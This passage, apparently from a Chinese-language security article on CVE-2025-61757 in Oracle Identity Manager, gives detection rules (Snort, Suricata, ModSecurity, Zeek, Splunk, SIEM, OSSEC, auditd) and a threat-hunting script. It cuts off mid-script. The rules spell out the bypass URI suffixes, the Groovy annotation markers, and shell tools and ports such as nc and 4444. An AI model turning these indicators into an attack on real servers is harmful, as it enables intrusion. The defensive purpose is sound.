tar -czf oim_lab_results_$(date +%Y%m%d).tar.gz \
/opt/oracle/middleware/oim/server/logs/ \
/path/to/poc/scripts/ \
/path/to/test/results/
# 3. 安全销毁环境
# 如果是虚拟机,删除快照和虚拟机
# 如果是物理机,格式化磁盘
始终遵守:
仅在授权环境中测试
不得用于恶意目的
妥善保护研究成果
负责任地披露发现
遵守所有适用法律
禁止行为:
未经授权扫描或攻击系统
公开未修补系统的详细信息
分享可直接用于攻击的工具
利用漏洞谋取非法利益
CVE-2025-61757的检测需要在多个层面部署检测机制,从网络边界到主机内部,从实时监控到历史日志分析。本节提供全面的检测策略,帮助安全团队尽早发现攻击活动。
网络层检测是防御的第一道防线,可以在攻击到达目标系统之前发现并阻断威胁。
Snort规则集:
# CVE-2025-61757 认证绕过检测 - WADL后缀
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2025-61757 Oracle OIM认证绕过尝试 - WADL后缀";
flow:to_server,established;
content:"/iam/governance/"; http_uri; nocase;
content:";.wadl"; http_uri; nocase;
classtype:attempted-admin;
sid:2025617571;
rev:2;
metadata:cve CVE-2025-61757;
reference:url,www.oracle.com/security-alerts/cpuoct2025.html;
)
# CVE-2025-61757 认证绕过检测 - WSDL参数
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2025-61757 Oracle OIM认证绕过尝试 - WSDL参数";
flow:to_server,established;
content:"/iam/governance/"; http_uri; nocase;
content:"?WSDL"; http_uri; nocase;
classtype:attempted-admin;
sid:2025617572;
rev:2;
metadata:cve CVE-2025-61757;
)
# CVE-2025-61757 Groovy代码执行尝试
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2025-61757 Oracle OIM Groovy代码执行尝试";
flow:to_server,established;
content:"groovyscriptstatus"; http_uri; nocase;
content:"@groovy.transform"; http_client_body; nocase;
classtype:web-application-attack;
sid:2025617573;
rev:2;
metadata:cve CVE-2025-61757;
)
# CVE-2025-61757 用户创建端点绕过
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2025-61757 Oracle OIM 用户创建端点绕过";
flow:to_server,established;
content:"/identity/rest/v1/users"; http_uri; nocase;
content:";.wadl"; http_uri; nocase;
content:"POST"; http_method;
classtype:attempted-admin;
sid:2025617574;
rev:1;
)
# CVE-2025-61757 特征载荷大小检测
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2025-61757 Oracle OIM 可疑载荷大小 - 556字节";
flow:to_server,established;
content:"groovyscriptstatus"; http_uri; nocase;
dsize:556;
classtype:web-application-attack;
sid:2025617575;
rev:1;
)
Suricata规则集:
# 使用Suricata的高级HTTP检测能力
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-61757 Oracle OIM认证绕过 - URI路径参数";
flow:to_server;
http.uri; content:"/iam/governance/"; nocase;
http.uri; pcre:"/;\\.wadl|\\.wsdl|\\?WSDL/Ui";
classtype:attempted-admin;
sid:3025617571;
rev:1;
metadata:attack_target Server, deployment Internal, cve CVE-2025-61757;
)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-61757 Oracle OIM Groovy载荷检测 - ASTTest注解";
flow:to_server;
http.request_body; content:"@ASTTest"; nocase;
http.request_body; content:"Runtime.getRuntime"; nocase; distance:0; within:500;
classtype:trojan-activity;
sid:3025617572;
rev:1;
)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-61757 Oracle OIM Groovy载荷检测 - Grab注解";
flow:to_server;
http.request_body; content:"@Grab"; nocase;
http.request_body; pcre:"/@groovy\\.(transform|grape)/i";
classtype:trojan-activity;
sid:3025617573;
rev:1;
)
ModSecurity规则集:
# CVE-2025-61757 防护规则集
# 规则1: 阻止分号路径参数绕过
SecRule REQUEST_URI "@rx ;\\.wadl|;\\.wsdl|\\?WSDL" \
"id:1001,\
phase:1,\
t:none,t:lowercase,\
deny,\
status:403,\
msg:'CVE-2025-61757利用尝试被阻止 - 路径参数绕过',\
logdata:'URI: %{REQUEST_URI}',\
severity:CRITICAL,\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-oracle',\
tag:'attack-rce',\
tag:'CVE-2025-61757',\
setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.cve-2025-61757-attempt=1'"
# 规则2: 限制OIM管理路径访问
SecRule REQUEST_URI "@contains /iam/governance/" \
"id:1002,\
phase:1,\
t:none,\
chain,\
pass,\
nolog"
SecRule REQUEST_URI "@rx [;?]" \
"t:none,\
deny,\
status:403,\
msg:'可疑的OIM API访问模式',\
severity:WARNING,\
tag:'CVE-2025-61757'"
# 规则3: 检测Groovy恶意注解
SecRule REQUEST_BODY "@rx @groovy\\.(transform|grape)|@ASTTest|@Grab" \
"id:1003,\
phase:2,\
t:none,t:lowercase,\
deny,\
status:403,\
msg:'检测到Groovy恶意注解',\
logdata:'载荷片段: %{MATCHED_VAR}',\
severity:CRITICAL,\
tag:'CVE-2025-61757',\
tag:'groovy-injection'"
# 规则4: 特定载荷大小检测(556字节)
SecRule REQUEST_HEADERS:Content-Length "@eq 556" \
"id:1004,\
phase:1,\
chain,\
pass,\
nolog"
SecRule REQUEST_URI "@contains groovyscriptstatus" \
"deny,\
status:403,\
msg:'检测到已知CVE-2025-61757载荷大小',\
severity:CRITICAL,\
tag:'CVE-2025-61757'"
# 规则5: 阻止URL编码绕过
SecRule REQUEST_URI "@rx %3[Bb]\\.(wadl|wsdl)" \
"id:1005,\
phase:1,\
deny,\
status:403,\
msg:'CVE-2025-61757 URL编码绕过尝试',\
severity:CRITICAL"
Zeek/Bro检测脚本:
# CVE-2025-61757 检测脚本
@load base/frameworks/notice
@load base/protocols/http
module CVE_2025_61757;
export {
redef enum Notice::Type += {
Auth_Bypass_Attempt,
Groovy_Exploit_Attempt,
Successful_Bypass,
Suspicious_Pattern,
Known_Payload_Size
};
# 配置
const suspicious_uri_patterns = /;\\.wadl|\\?WSDL|;\\.wsdl/ &redef;
const oim_paths = /\\/iam\\/governance\\/|\\/identity\\/rest\\// &redef;
const groovy_endpoint = /groovyscriptstatus/ &redef;
# 跟踪每个连接的URI
global tracked_uris: table[string] of string &create_expire=1hr;
}
event http_request(c: connection, method: string, original_URI: string,
unescaped_URI: string, version: string) {
local src_ip = cat(c$id$orig_h);
# 检测1: 认证绕过尝试
if (oim_paths in original_URI && suspicious_uri_patterns in original_URI) {
NOTICE([
$note=Auth_Bypass_Attempt,
$conn=c,
$msg=fmt("检测到CVE-2025-61757认证绕过尝试"),
$sub=fmt("源IP: %s, URI: %s, 方法: %s",
c$id$orig_h, original_URI, method),
$identifier=cat(c$id$orig_h, original_URI)
]);
# 记录URI以便后续关联
tracked_uris[src_ip] = original_URI;
}
# 检测2: Groovy端点访问
if (groovy_endpoint in original_URI) {
NOTICE([
$note=Suspicious_Pattern,
$conn=c,
$msg=fmt("检测到Groovy端点访问"),
$sub=fmt("源IP: %s, URI: %s", c$id$orig_h, original_URI),
$identifier=cat(c$id$orig_h, "groovy_access")
]);
}
}
event http_entity_data(c: connection, is_orig: bool, length: count, data: string) {
if (!is_orig)
return;
# 检测3: Groovy恶意载荷
if (c$http?$uri && groovy_endpoint in c$http$uri) {
if (/@groovy\\.(transform|grape)/ in data ||
/@ASTTest/ in data ||
/@Grab/ in data) {
NOTICE([
$note=Groovy_Exploit_Attempt,
$conn=c,
$msg=fmt("检测到CVE-2025-61757 Groovy利用尝试"),
$sub=fmt("源IP: %s, 载荷大小: %d字节",
c$id$orig_h, length),
$identifier=cat(c$id$orig_h, c$http$uri)
]);
}
# 检测4: 特定载荷大小(556字节)
if (length == 556) {
NOTICE([
$note=Known_Payload_Size,
$conn=c,
$msg=fmt("检测到已知CVE-2025-61757载荷大小"),
$sub=fmt("源IP: %s, 大小: 556字节", c$id$orig_h),
$identifier=cat(c$id$orig_h, "556_bytes")
]);
}
}
}
event http_reply(c: connection, version: string, code: count, reason: string) {
if (!c$http?$uri)
return;
# 检测5: 成功的认证绕过(200响应而非401)
if (oim_paths in c$http$uri &&
suspicious_uri_patterns in c$http$uri &&
code == 200) {
NOTICE([
$note=Successful_Bypass,
$conn=c,
$msg=fmt("可疑的认证绕过成功 - CVE-2025-61757"),
$sub=fmt("源IP: %s, URI: %s, 响应码: %d",
c$id$orig_h, c$http$uri, code),
$identifier=cat(c$id$orig_h, c$http$uri, code)
]);
}
# 检测6: Groovy端点200响应
if (groovy_endpoint in c$http$uri && code == 200) {
NOTICE([
$note=Suspicious_Pattern,
$conn=c,
$msg=fmt("Groovy端点返回成功响应"),
$sub=fmt("源IP: %s, URI: %s", c$id$orig_h, c$http$uri),
$identifier=cat(c$id$orig_h, "groovy_success")
]);
}
}
# 定期报告统计信息
event zeek_done() {
print fmt("CVE-2025-61757检测会话结束, 跟踪了%d个可疑URI",
|tracked_uris|);
}
Splunk检测查询:
# 查询1: 检测认证绕过尝试
index=web_logs sourcetype=access_combined
| search uri_path="*/iam/governance/*"
AND (uri_path="*;.wadl" OR uri_path="*?WSDL" OR uri_path="*;.wsdl")
| eval bypass_indicator=if(status=200, "SUCCESS", "FAILED")
| stats count earliest(_time) as first_seen latest(_time) as last_seen
by src_ip, uri_path, status, bypass_indicator, user_agent
| eval duration=last_seen-first_seen
| where bypass_indicator="SUCCESS"
| eval severity=case(
count > 10, "CRITICAL",
count > 5, "HIGH",
1=1, "MEDIUM"
)
| sort -count
| eval first_seen_time=strftime(first_seen, "%Y-%m-%d %H:%M:%S")
| eval last_seen_time=strftime(last_seen, "%Y-%m-%d %H:%M:%S")
| table src_ip, uri_path, count, severity, first_seen_time, last_seen_time, user_agent
# 查询2: 检测成功的Groovy利用
index=oim_logs sourcetype=oim_server
| search "GroovyShell" AND ("compile" OR "parse")
| rex field=_raw "user=(?<user>[^\s]+)"
| rex field=_raw "remoteIP=(?<remote_ip>[^\s]+)"
| rex field=_raw "scriptContent=(?<script_content>[^\n]+)"
| where user="null" OR user="anonymous" OR user="" OR isnull(user)
| stats count by _time, remote_ip, user, script_content
| eval severity="CRITICAL"
| sort -_time
# 查询3: 未认证访问管理端点
index=oim_logs sourcetype=oim_access
| search uri_path="*/iam/governance/*" OR uri_path="*/identity/rest/*"
| rex field=_raw "session=(?<session_id>[^\s]+)"
| rex field=_raw "user=(?<user>[^\s]+)"
| where (isnull(session_id) OR session_id="") AND (isnull(user) OR user="" OR user="anonymous")
| stats count values(uri_path) as accessed_endpoints by src_ip, method, status
| where status>=200 AND status<300
| eval severity=case(
count > 20, "CRITICAL",
count > 10, "HIGH",
1=1, "MEDIUM"
)
| sort -count
# 查询4: 可疑User-Agent模式分析
index=web_logs sourcetype=access_combined
| search (uri_path="*;.wadl" OR uri_path="*?WSDL")
| stats count dc(uri_path) as unique_uris values(uri_path) as uris
by user_agent, src_ip
| where count > 5
| eval is_script=if(match(user_agent, "(?i)(python|curl|wget|java|perl)"), "YES", "NO")
| eval severity=case(
is_script="YES" AND count > 10, "CRITICAL",
is_script="YES", "HIGH",
count > 20, "HIGH",
1=1, "MEDIUM"
)
| sort -count
| table src_ip, user_agent, count, unique_uris, is_script, severity
# 查询5: 载荷大小分析(556字节特征)
index=web_logs sourcetype=access_combined
| search uri_path="*groovyscriptstatus*"
| stats count values(src_ip) as source_ips by bytes
| where bytes=556 OR (bytes>550 AND bytes<600)
| eval severity=if(bytes=556, "CRITICAL", "HIGH")
| sort -count
| table bytes, count, source_ips, severity
# 查询6: 攻击链关联分析(多阶段检测)
index=web_logs OR index=oim_logs
| transaction src_ip maxspan=5m
startswith="*/iam/governance/*" AND ("*;.wadl" OR "*?WSDL")
endswith="groovyscriptstatus"
| where eventcount > 1
| table _time, src_ip, eventcount, duration
| eval severity="CRITICAL"
| eval attack_chain="认证绕过 -> Groovy利用"
Elastic Stack (Elasticsearch)查询:
{
"query": {
"bool": {
"must": [
{
"wildcard": {
"request.uri": "*;.wadl"
}
},
{
"match": {
"response.status": 200
}
},
{
"wildcard": {
"request.uri": "*/iam/governance/*"
}
}
],
"filter": {
"range": {
"@timestamp": {
"gte": "now-24h"
}
}
}
}
},
"aggs": {
"by_source_ip": {
"terms": {
"field": "source.ip",
"size": 100
},
"aggs": {
"unique_uris": {
"cardinality": {
"field": "request.uri"
}
},
"user_agents": {
"terms": {
"field": "user_agent.original",
"size": 10
}
},
"time_range": {
"stats": {
"field": "@timestamp"
}
}
}
}
}
}
QRadar AQL查询:
-- CVE-2025-61757 检测规则
SELECT
sourceip,
destinationip,
username,
URL,
"HTTP Method" as method,
"HTTP Response Code" as status,
"User Agent" as user_agent,
MIN(starttime) as first_attempt,
MAX(endtime) as last_attempt,
COUNT(*) as attempt_count,
SUM("Bytes Sent") as total_bytes
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) = 'Oracle Identity Manager'
AND (
URL ILIKE '%/iam/governance%;.wadl%'
OR URL ILIKE '%/iam/governance%?WSDL%'
OR URL ILIKE '%groovyscriptstatus%'
)
AND "HTTP Response Code" = 200
AND (username IS NULL OR username IN ('anonymous', 'null', ''))
AND LAST 24 HOURS
GROUP BY sourceip, destinationip, username, URL, method, status, user_agent
HAVING attempt_count > 1
ORDER BY attempt_count DESC, first_attempt ASC
通用SIEM关联规则(YAML配置):
name: CVE-2025-61757 完整利用链检测
description: 检测从认证绕过到代码执行再到后渗透的完整攻击链
severity: critical
enabled: true
author: Security Team
tags:
- CVE-2025-61757
- Oracle OIM
- Authentication Bypass
- RCE
- Identity Management
# 阶段1: 认证绕过检测
stage_1_auth_bypass:
name: 认证绕过阶段
conditions:
- event_type: http_request
filters:
- field: uri
operator: contains_any
values: [";.wadl", "?WSDL", ";.wsdl"]
- field: uri
operator: contains
value: "/iam/governance/"
- field: response_code
operator: equals
value: 200
timeframe: 60s
threshold: 1
severity: high
# 阶段2: Groovy利用检测
stage_2_groovy_exploit:
name: Groovy代码执行阶段
conditions:
- event_type: application_log
filters:
- field: message
operator: contains_any
values: ["GroovyShell", "compile", "parse"]
- field: user
operator: in
values: ["null", "anonymous", "", "UNAUTHENTICATED"]
- field: message
operator: regex
pattern: "@(groovy\\.(transform|grape)|ASTTest|Grab)"
timeframe: 120s
threshold: 1
severity: critical
# 阶段3: 进程创建检测
stage_3_process_creation:
name: 可疑进程创建阶段
conditions:
- event_type: process_creation
filters:
- field: parent_process
operator: contains
value: "java"
- field: parent_cmdline
operator: contains
value: "oracle.iam"
- field: child_process
operator: contains_any
values: ["bash", "sh", "nc", "netcat", "wget", "curl", "python", "perl"]
timeframe: 180s
threshold: 1
severity: critical
# 阶段4: 网络连接检测
stage_4_network_connection:
name: 异常网络连接阶段
conditions:
- event_type: network_connection
filters:
- field: process_name
operator: equals
value: "java"
- field: user
operator: contains
value: "oracle"
- field: destination_port
operator: in
values: [4444, 1337, 8080, 443]
- field: direction
operator: equals
value: "outbound"
timeframe: 300s
threshold: 1
severity: high
# 关联逻辑
correlation:
logic: AND_SEQUENCE # 按顺序发生
rules:
- stage: stage_1_auth_bypass
required: true
correlation_field: source_ip
- stage: stage_2_groovy_exploit
required: true
correlation_field: source_ip
time_constraint: after_stage_1
- stage: stage_3_process_creation
required: false # 可选,但会提高告警严重性
correlation_field: destination_ip
time_constraint: after_stage_2
- stage: stage_4_network_connection
required: false
correlation_field: destination_ip
time_constraint: after_stage_3
timeframe: 600s # 10分钟内完成所有阶段
# 评分机制
scoring:
stage_1_matched: 40
stage_2_matched: 50
stage_3_matched: 60
stage_4_matched: 80
threshold_for_alert: 90 # 至少1+2阶段
# 响应动作
actions:
- type: alert_soc
priority: P1
title: "CVE-2025-61757 完整利用链检测"
message: |
检测到针对Oracle Identity Manager的完整攻击链。
攻击者可能已成功利用CVE-2025-61757获得系统控制权。
匹配阶段:
{% if stage_1_matched %}认证绕过: 是{% endif %}
{% if stage_2_matched %}Groovy利用: 是{% endif %}
{% if stage_3_matched %}进程创建: 是{% endif %}
{% if stage_4_matched %}网络连接: 是{% endif %}
源IP: {{ source_ip }}
目标IP: {{ destination_ip }}
时间范围: {{ time_range }}
- type: block_source_ip
duration: 3600 # 1小时
device: firewall
approval_required: false
reason: "CVE-2025-61757利用尝试"
- type: isolate_host
target: destination_ip
approval_required: true # 需要批准
approval_timeout: 300 # 5分钟超时自动批准
reason: "疑似CVE-2025-61757攻击成功"
- type: create_ticket
system: ServiceNow
category: Security Incident
subcategory: RCE
urgency: High
impact: High
assignment_group: Incident Response
description: |
CVE-2025-61757利用链检测告警
请立即调查Oracle Identity Manager服务器
- type: send_notification
channels:
- email
- slack
- pagerduty
- sms
recipients:
- soc_team
- incident_response
- ciso
- oim_admins
template: cve_2025_61757_alert
- type: collect_forensics
targets:
- source_ip
- destination_ip
artifacts:
- network_traffic_pcap
- system_logs
- process_memory_dump
- disk_snapshot
retention: 90_days
# 误报抑制
false_positive_suppression:
- condition: source_ip_in_whitelist
whitelist:
- 192.168.1.100 # 合法管理IP
- 10.0.0.50 # 监控系统
action: suppress
- condition: scheduled_maintenance_window
check: maintenance_calendar
action: reduce_severity_to_info
- condition: known_penetration_test
check: pentest_authorization_db
action: tag_as_authorized_test
AIDE配置示例(/etc/aide/aide.conf):
# CVE-2025-61757 相关目录监控配置
# OIM应用程序目录 - 检测WebShell或后门
/opt/oracle/middleware/oim/server/apps R+b+sha256+tiger
/opt/oracle/middleware/oim/server/lib R+b+sha256
/opt/oracle/middleware/oim/server/bin R+b+sha256+tiger
# WebLogic部署目录 - 检测恶意WAR部署
/u01/app/oracle/config/domains/oim_domain/servers R+b+sha256
/u01/app/oracle/config/domains/oim_domain/apps R+b+sha256
# 临时目录 - 检测载荷投放
/tmp R+b+n+u+g+s+acl+xattrs+sha256
/var/tmp R+b+n+u+g+s+acl+xattrs+sha256
# 系统二进制文件 - 检测rootkit
/bin R+b+sha256+tiger
/usr/bin R+b+sha256+tiger
/sbin R+b+sha256+tiger
/usr/sbin R+b+sha256+tiger
# Cron和启动脚本 - 检测持久化
/etc/cron.d R+b+sha256
/etc/cron.daily R+b+sha256
/etc/cron.hourly R+b+sha256
/etc/systemd/system R+b+sha256
# 定义频繁检查规则
@@define HOURLY R+b+n+u+g+s+acl+xattrs+sha256
/opt/oracle/middleware/oim/server/logs HOURLY
/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs HOURLY
OSSEC规则示例(local_rules.xml):
<group name="cve-2025-61757,oracle,oim">
<!-- 规则101: Groovy编译日志检测 -->
<rule id="100101" level="10">
<if_sid>1002</if_sid>
<match>GroovyShell|groovy.transform.ASTTest|GroovyClassLoader</match>
<description>检测到Groovy代码编译活动</description>
<group>oracle_oim,groovy,compilation</group>
</rule>
<!-- 规则102: 未认证API访问 -->
<rule id="100102" level="12">
<if_sid>31101</if_sid>
<url>;.wadl|?WSDL|;.wsdl</url>
<match>/iam/governance/</match>
<status>200</status>
<description>CVE-2025-61757: 检测到认证绕过尝试成功</description>
<group>cve-2025-61757,authentication_bypass</group>
</rule>
<!-- 规则103: OIM进程创建可疑子进程 -->
<rule id="100103" level="15">
<if_sid>2901</if_sid>
<match>oracle.iam</match>
<pcre>bash|sh|nc|wget|curl|python|perl</pcre>
<description>CVE-2025-61757: OIM Java进程创建可疑子进程</description>
<group>cve-2025-61757,process_creation,shell_spawn</group>
</rule>
<!-- 规则104: WebShell文件检测 -->
<rule id="100104" level="15">
<if_sid>550</if_sid>
<match>/opt/oracle/middleware/oim/.*\.(jsp|jspx|war)$</match>
<description>CVE-2025-61757: 检测到可疑JSP/WAR文件创建</description>
<group>cve-2025-61757,webshell,file_creation</group>
</rule>
<!-- 规则105: 可疑的临时文件 -->
<rule id="100105" level="12">
<if_sid>550</if_sid>
<match>/tmp/.*\.(sh|py|elf)$</match>
<description>CVE-2025-61757: 临时目录中创建可疑脚本或二进制文件</description>
<group>cve-2025-61757,suspicious_file</group>
</rule>
<!-- 规则106: 网络外连检测 -->
<rule id="100106" level="13">
<if_sid>5710</if_sid>
<match>oracle</match>
<dstport>4444|1337|8080</dstport>
<description>CVE-2025-61757: OIM进程发起异常网络连接</description>
<group>cve-2025-61757,network_connection,c2</group>
</rule>
<!-- 规则107: 用户创建活动 -->
<rule id="100107" level="11">
<if_sid>5902</if_sid>
<match>useradd|adduser</match>
<time>0-6</time> <!-- 夜间活动 -->
<description>CVE-2025-61757: 检测到夜间用户创建活动</description>
<group>cve-2025-61757,user_creation,persistence</group>
</rule>
</group>
Auditd规则配置(/etc/audit/rules.d/cve-2025-61757.rules):
# CVE-2025-61757 审计规则集
# 1. 监控OIM目录的可执行权限变化
-w /opt/oracle/middleware/oim/server/ -p x -k cve_2025_61757_execution
# 2. 监控Java进程的execve系统调用(子进程创建)
# 注意: 需要在运行时动态插入OIM进程PID
-a always,exit -F arch=b64 -S execve -F ppid=<OIM_JAVA_PID> -k cve_2025_61757_child_process
# 3. 监控临时目录的文件操作
-w /tmp/ -p wa -k cve_2025_61757_temp_files
-w /var/tmp/ -p wa -k cve_2025_61757_temp_files
# 4. 监控网络相关系统调用
-a always,exit -F arch=b64 -S socket -S connect -F ppid=<OIM_JAVA_PID> -k cve_2025_61757_network
# 5. 监控文件修改
-w /opt/oracle/middleware/oim/server/apps/ -p wa -k cve_2025_61757_file_modify
-w /u01/app/oracle/config/domains/oim_domain/ -p wa -k cve_2025_61757_config_change
# 6. 监控用户和组管理
-w /etc/passwd -p wa -k cve_2025_61757_user_creation
-w /etc/shadow -p wa -k cve_2025_61757_password_change
-w /etc/group -p wa -k cve_2025_61757_group_change
# 7. 监控Sudo和权限提升
-w /etc/sudoers -p wa -k cve_2025_61757_sudo_change
-w /etc/sudoers.d/ -p wa -k cve_2025_61757_sudo_change
# 8. 监控Cron作业(持久化)
-w /etc/cron.d/ -p wa -k cve_2025_61757_cron_persistence
-w /etc/cron.daily/ -p wa -k cve_2025_61757_cron_persistence
-w /etc/cron.hourly/ -p wa -k cve_2025_61757_cron_persistence
-w /var/spool/cron/ -p wa -k cve_2025_61757_cron_persistence
# 9. 监控systemd服务(持久化)
-w /etc/systemd/system/ -p wa -k cve_2025_61757_systemd_persistence
-w /usr/lib/systemd/system/ -p wa -k cve_2025_61757_systemd_persistence
# 10. 监控SSH相关文件
-w /root/.ssh/ -p wa -k cve_2025_61757_ssh_keys
-w /home/*/.ssh/ -p wa -k cve_2025_61757_ssh_keys
动态获取OIM进程PID的辅助脚本:
#!/bin/bash
# update_audit_rules.sh - 动态更新auditd规则中的OIM进程PID
OIM_PID=$(pgrep -f "oracle.iam" | head -1)
if [ -z "$OIM_PID" ]; then
echo "错误: 未找到OIM进程"
exit 1
fi
echo "检测到OIM进程PID: $OIM_PID"
# 备份现有规则
cp /etc/audit/rules.d/cve-2025-61757.rules \
/etc/audit/rules.d/cve-2025-61757.rules.bak
# 替换PID占位符
sed -i "s/<OIM_JAVA_PID>/$OIM_PID/g" \
/etc/audit/rules.d/cve-2025-61757.rules
# 重新加载审计规则
augenrules --load
echo "审计规则已更新,监控PID: $OIM_PID"
Bash威胁狩猎脚本:
#!/bin/bash
# CVE-2025-61757 威胁狩猎工具
set -euo pipefail
# 配置
OIM_LOG_DIR="/opt/oracle/middleware/oim/server/logs"
WEBLOGIC_LOG_DIR="/u01/app/oracle/config/domains/oim_domain/servers/oim_server1/logs"
APACHE_LOG_DIR="/var/log/httpd"
SYSTEM_LOG="/var/log/messages"
AUDIT_LOG="/var/log/audit/audit.log"
START_DATE="${1:-2025-09-01}" # 默认从9月1日开始
OUTPUT_DIR="./cve-2025-61757-hunt-$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"
echo "========================================="
echo "CVE-2025-61757 威胁狩猎工具"
echo "========================================="
echo "开始时间: $(date)"
echo "回溯起始日期: $START_DATE"
echo "输出目录: $OUTPUT_DIR"
echo ""
# 狩猎1: Web日志中的认证绕过尝试
echo "[*] 狩猎1: 检测认证绕过尝试..."
echo "----------------------------------------"
(
find "$APACHE_LOG_DIR" "$WEBLOGIC_LOG_DIR" -type f \
\( -name "access.log*" -o -name "access_log*" \) 2>/dev/null \
| xargs grep -hE ";\\.wadl|\\?WSDL" 2>/dev/null \
| grep " 200 " \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| head -20
) > "$OUTPUT_DIR/hunt1_bypass_attempts.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt1_bypass_attempts.txt"
echo ""
# 狩猎2: Groovy编译活动
echo "[*] 狩猎2: 检测Groovy编译活动..."
echo "----------------------------------------"
(
find "$OIM_LOG_DIR" -type f -name "*diagnostic.log*" 2>/dev/null \
| xargs grep -hiE "GroovyShell|@groovy\\.transform|@ASTTest|@Grab" 2>/dev/null \
| grep -vE "system|admin|oracle\\.iam\\.internal" \
| head -100
) > "$OUTPUT_DIR/hunt2_groovy_compilation.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt2_groovy_compilation.txt"
echo ""
# 狩猎3: 可疑子进程创建
echo "[*] 狩猎3: 检测可疑的子进程创建..."
echo "----------------------------------------"
if [ -f "$AUDIT_LOG" ]; then
(
ausearch -k cve_2025_61757_child_process -ts "$START_DATE" 2>/dev/null \
| grep -E "execve|EXECVE" \
| head -50
) > "$OUTPUT_DIR/hunt3_child_processes.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt3_child_processes.txt"
else
echo "警告: 未找到audit日志文件"
fi
echo ""
# 狩猎4: 异常网络连接
echo "[*] 狩猎4: 检测异常的网络连接..."
echo "----------------------------------------"
if [ -f "$AUDIT_LOG" ]; then
(
ausearch -k cve_2025_61757_network -ts "$START_DATE" 2>/dev/null \
| grep -E "connect|socket" \
| aureport -n 2>/dev/null
) > "$OUTPUT_DIR/hunt4_network_connections.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt4_network_connections.txt"
else
echo "警告: 未找到audit日志文件"
fi
echo ""
# 狩猎5: 文件系统变化(可疑文件)
echo "[*] 狩猎5: 检测文件系统变化..."
echo "----------------------------------------"
(
find /opt/oracle/middleware/oim/server/apps \
-type f \( -name "*.jsp" -o -name "*.jspx" -o -name "*.war" \) \
-newermt "$START_DATE" \
-ls 2>/dev/null
) > "$OUTPUT_DIR/hunt5_filesystem_changes.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt5_filesystem_changes.txt"
echo ""
# 狩猎6: 556字节载荷特征
echo "[*] 狩猎6: 检测556字节载荷特征..."
echo "----------------------------------------"
(
find "$APACHE_LOG_DIR" "$WEBLOGIC_LOG_DIR" -type f \
\( -name "access.log*" -o -name "access_log*" \) 2>/dev/null \
| xargs grep -hE "Content-Length.*556|\\s556\\s" 2>/dev/null \
| grep "groovyscriptstatus"
) > "$OUTPUT_DIR/hunt6_556byte_payload.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt6_556byte_payload.txt"
echo ""
# 狩猎7: 用户创建活动
echo "[*] 狩猎7: 检测可疑用户创建活动..."
echo "----------------------------------------"
(
grep -E "useradd|adduser|usermod" "$SYSTEM_LOG" 2>/dev/null \
| awk -v start="$START_DATE" '$0 > start' \
| head -50
) > "$OUTPUT_DIR/hunt7_user_creation.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt7_user_creation.txt"
echo ""
# 狩猎8: Cron作业变化(持久化)
echo "[*] 狩猎8: 检测Cron作业变化..."
echo "----------------------------------------"
(
find /etc/cron.* /var/spool/cron -type f \
-newermt "$START_DATE" \
-ls 2>/dev/null
) > "$OUTPUT_DIR/hunt8_cron_changes.txt"
echo "结果已保存到: $OUTPUT_DIR/hunt8_cron_changes.txt"
echo ""
# 生成汇总报告
echo "[*] 生成威胁狩猎汇总报告..."
cat > "$OUTPUT_DIR/SUMMARY_REPORT.txt" <<EOF
CVE-2025-61757 威胁狩猎汇总报告
=====================================
生成时间: $(date)
回溯起始: $START_DATE
检查项目:
1. 认证绕过尝试: $(wc -l < "$OUTPUT_DIR/hunt1_bypass_attempts.txt") 条记录
2. Groovy编译活动: $(wc -l < "$OUTPUT_DIR/hunt2_groovy_compilation.txt") 条记录
3. 子进程创建: $(wc -l < "$OUTPUT_DIR/hunt3_child_processes.txt") 条记录
4. 网络连接: $(wc -l < "$OUTPUT_DIR/hunt4_network_connections.txt") 条记录
5. 文件系统变化: $(wc -l < "$OUTPUT_DIR/hunt5_filesystem_changes.txt") 条记录
6. 556字节载荷: $(wc -l < "$OUTPUT_DIR/hunt6_556byte_payload.txt") 条记录
7. 用户创建: $(wc -l < "$OUTPUT_DIR/hunt7_user_creation.txt") 条记录
8. Cron变化: $(wc -l < "$OUTPUT_DIR/hunt8_cron_changes.txt") 条记录
风险评估:
EOF
# 简单风险评估
TOTAL_INDICATORS=0
for file in "$OUTPUT_DIR"/hunt*.txt; do
if [ -s "$file" ]; then
TOTAL_INDICATORS=$((TOTAL_INDICATORS + 1))
fi
done
if [ $TOTAL_INDICATORS -ge 5 ]; then
echo "风险等级: 严重 (检测到$TOTAL_INDICATORS个入侵指标)" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
echo "建议: 立即启动事件响应流程" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
elif [ $TOTAL_INDICATORS -ge 3 ]; then
echo "风险等级: 高 (检测到$TOTAL_INDICATORS个入侵指标)" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
echo "建议: 进行深入调查并考虑隔离系统" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
elif [ $TOTAL_INDICATORS -ge 1 ]; then
echo "风险等级: 中 (检测到$TOTAL_INDICATORS个入侵指标)" >> "$OUTPUT_DIR/SUMMARY_REPORT.txt"
